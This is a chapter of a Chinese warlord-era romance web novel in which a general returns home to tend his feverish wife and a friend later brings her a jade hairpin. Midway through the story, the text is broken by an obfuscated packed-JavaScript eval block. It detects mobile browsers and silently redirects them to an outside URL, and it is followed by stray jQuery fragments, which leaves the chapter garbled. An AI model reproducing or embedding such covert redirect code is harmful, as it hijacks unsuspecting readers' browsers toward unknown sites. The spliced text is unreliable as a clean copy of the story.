第126章 刚才的人,是不是晏山青…

作品:《督军小夫人,腰细貌美还勾人

    次日上午,苏拾卷在家里左等右等,都没等来送解酒药的江浸月。


    他心想自己这么明显的递台阶,以江浸月的聪明程度,不应该领会不到……难道她气性这么大,故意和晏山青作对?


    苏拾卷咂咂嘴,为了今晚能睡个好觉,干脆给督军府打去电话,委婉地询问夫人今天出门了吗?


    不曾想,管家说,夫人病了。


    “夫人病了?什么病?严重吗?昨天不是还好好的?”


    苏拾卷刚问完,就看到晏山青边戴手表边从二楼走下来。


    大概是听到了他这句话,眉头一皱,却是连问什么病都没有,直接就往外走。


    “哎?山青?你去哪儿?”苏拾卷连忙挂了电话,追了出去。


    但晏山青脚步极快,苏拾卷追到门口,就看到他拉开车门坐进去,黑色汽车毫不犹豫地驶离,徒留下一路烟尘。


    苏拾卷站在门口,看着车辆消失的方向,摸了摸下巴,不由得笑了:“着急成这样还嘴硬……”


    “嘴硬什么?”


    一道清亮的女声忽然从旁边传过来。


    苏拾卷下意识转头,只见一个年轻女子正从另一辆刚停稳的汽车上下来。


    她约莫二十五六岁,身量高挑,穿着白衬衫、小马甲和萝卜裤、皮长靴;长发烫了一个时下最流行的罗马卷,头顶别着蝴蝶发卡,容貌清秀,眉眼又透着一股不同于寻常女子的锐气。


    苏拾卷有些惊讶:“祝芙?你怎么来南川了?”


    祝芙,晏山青麾下,如今替他坐镇东湖、打理一应军政要务的机要秘书。


    她和苏拾卷一样,是晏山青最倚重的左膀右臂。


    两人都在晏山青身边时,苏拾卷主外、擅谋略与周旋;祝芙主内、精于实务与统筹。


    祝芙走到苏拾卷面前:“我昨天去了江陵区,实地看了进度,比预期慢一些,我以为是苏参谋长在南川温柔乡里待久了,懈怠公务,专门过来问罪。现在看,”


    她瞧向晏山青汽车离开的方向,“是督军的问题哦?”


    苏拾卷摊手:“这话你可别跟我说,有本事当面跟督军提去。”


    祝芙嘴角微弯:“自古英雄难过美人关,督军刚娶了新夫人,正是浓情蜜意的时候,这些小事,他怕是暂时没心思计较。”


    她将双手背在身后,转过身,目光投向熙熙攘攘的街道,轻声道,“南川确实是个好地方……督军打下一座城,还娶回一位如花美眷,收获颇丰啊。”


    她隐约有几分意味深长。


    苏拾卷笑笑,没接这个话茬。


    “进来参观我的住处吧,祝秘书。”


    ……


    晏山青一路风驰电掣赶回督军府,车子刚停稳,他就推门下车,大步流星直奔垆雪院。


    明婶刚从小厨房端了小米粥出来,见到他,连忙行礼:“督军。”


    “她哪里不舒服?”晏山青脚步未停,径直往主屋走,语气有些沉。


    “……早上我们叫不醒夫人,才发现夫人在发热,怕是从昨晚就烧起来了,只是一直没说。”明婶跟在他身后,连忙禀报。


    “从昨晚烧到早上她都不吭声?”晏山青眉头拧得更紧,一下有些生气,“倔死她算了!”


    推门而入。


    室内光线稍暗,晏山青走到床边,一把撩开垂落的帷幔。


    江浸月昏睡着,脸颊泛着病态的潮红,呼吸略显急促,嘴唇也有些干裂,看起来睡得并不安稳。


    晏山青心头那股无名火更旺了,扭头对明婶低斥道:“她都烧成这样了,怎么还不叫大夫?由着她胡闹,到底是想不想让她好?”


    明婶被他吓得一哆嗦,连忙道:“……原本是要叫的,但夫人说睡一觉就好,不让麻烦……”


    晏山青一贯是说一不二,令行禁止:“现在就去请大夫!”


    “是!是!我这就去!”明婶不敢再耽搁,小跑着出去。


    晏山青转回头,看着床上烧得昏沉的人,胸口堵着一股气,又烦又躁,冷着脸说:“江浸月,你在跟谁赌气?拿自己身子开玩笑?”


    床上的人自然无法回答。


    他看了她一会儿,然后沉着脸,走到一旁的水盆边,拧了条凉毛巾,又回到床边,将毛巾叠好,敷在她滚烫的额头上。


    或是被这凉意刺激,江浸月睫毛颤了颤,勉强睁开眼。


    视线模糊了一会儿,她看到床边立着一道高大的身影。


    好像是……


    晏山青。


    她烧得脑子混混沌沌,迟缓地抬手,想推开额头上那只带着薄茧的手。


    晏山青以为她是抗拒他,神情冷凝。


    但其实,江浸月只是觉得那毛巾太冷了,让她发抖。


    她声音沙哑干涩,带着浓浓的鼻音:“还以为,督军不会回来了……”


    晏山青看着她水润迷蒙的眼睛,没有说话。


    江浸月含糊地认错:“我知道错了……下次一定不会再让自己这么危险……”


    这话说得低低弱弱,没什么力气,却奇异地让晏山青胸口那股郁气散了些许。


    他态度依旧平淡:“大夫来了,给你看看。”


    不多时,明婶就领着大夫匆匆进来。


    大夫是个留着山羊胡的老人家,见了晏山青,连忙行礼,然后在床边的凳子上坐下,仔细为江浸月诊脉。


    片刻后,大夫收回手,对晏山青恭敬道:“回督军的话,夫人是感染了风寒,邪气入体,加上有些气郁于心,未能及时发散,导致发热。”


    晏山青:“严重吗?”


    “并无大碍,老夫开几副疏风散寒、解郁清热的方子,按时服用,好生休养几日便好了。”


    风寒……


    晏山青想起昨晚,她又是泡冷水,又是被他两次……这风寒,多半是他折腾出来的。


    他捏了捏鼻梁,对大夫道:“有劳大夫了。开药吧,务必让她快点好起来。”


    “是,是。”大夫连声应下,去外间开方子了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048368|194284||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    江浸月烧得昏昏沉沉,只觉得额头上凉凉的毛巾换了一次又一次,偶尔还有温热的布巾擦过她的脖颈和手心。


    她感觉那只手带着薄茧,划过她肌肤时有轻微的痒。


    她想睁开眼,看一看是谁?可眼皮却始终抬不起来,后来这个人还半扶起她,将苦涩的药汁喂进她的嘴里……


    不知过了多久,身上的燥热和沉重感渐渐退去,她终于从深沉的睡梦中挣脱,缓缓睁开眼——


    接着她就看到,坐在床边为她敷毛巾的人,是陈佑宁。


    “……你怎么在这里?”


    江浸月声音沙哑,撑着身子想坐起来。


    陈佑宁连忙伸手扶她,帮她垫好枕头:“我来找你啊,结果明婶说你病了。”


    她伸手探了探江浸月的额头,松了口气,“还好还好,退烧了。你不是医生吗?怎么还病得这么厉害?”


    江浸月自我感觉了一下,身上松快了不少,头也不疼了。


    她忽然伸手,去握了一下陈佑宁的手。


    陈佑宁:“?”


    陈佑宁的手也有薄茧,她突然有些茫然,难道刚才不是晏山青?


    “……医生也是人,是人就会生病。”她沙哑道,看向陈佑宁,“你来找我有什么事?”


    陈佑宁脸上立刻绽放出大大的笑容:“我来谢谢你啊!你帮了我那么大的忙,要不是你,我现在可能已经被绑上白家的花轿!”


    她说着从随身带着的小包里取出一个精致的雕花木盒,递给江浸月,“这是我妈妈让我一定要拿来送给你的,她说无论如何都要谢谢你。”


    江浸月接过盒子,打开。


    红丝绒衬垫上静静躺着一根簪子。


    簪身是上好的羊脂白玉,温润剔透,簪头镶嵌着一颗硕大的红宝石,周围点缀了细小的珍珠,造型古朴但工艺精湛,光华内敛又贵气逼人,一看便知是前朝宫廷御用的。


    “这太贵重了。”江浸月合上盖子,递回去。


    “哎呀,你就收下嘛!”陈佑宁按住她的手,认真道。


    “这是我外婆给我妈妈的嫁妆,我妈妈说只有这样的东西,才配得上谢你的情分。你就不要推辞了,不然我妈妈心里过意不去,又要念叨我。”


    江浸月不缺一件首饰,但她诚恳道谢,她也没必要推辞:“代我谢谢陈夫人。”


    “嗯!”陈佑宁用力点头,又回头看了看外面,确认没人进来后,才小小声问,“我听说白泽宇找你麻烦了……”


    难怪送这么贵重的礼物,原来是都知道了。


    这是谢礼,也是连累了她的歉礼。


    江浸月眼睫微垂:“已经处理了……都过去了。”


    陈佑宁察言观色,见她不愿多谈,便识趣地转移了话题,闲聊几句别的,直到江浸月面露倦色,便起身告辞。


    明婶端着小米粥过来:“夫人,吃点东西再喝药吧?”


    江浸月低声问:“督军是不是从昨晚就没回来?”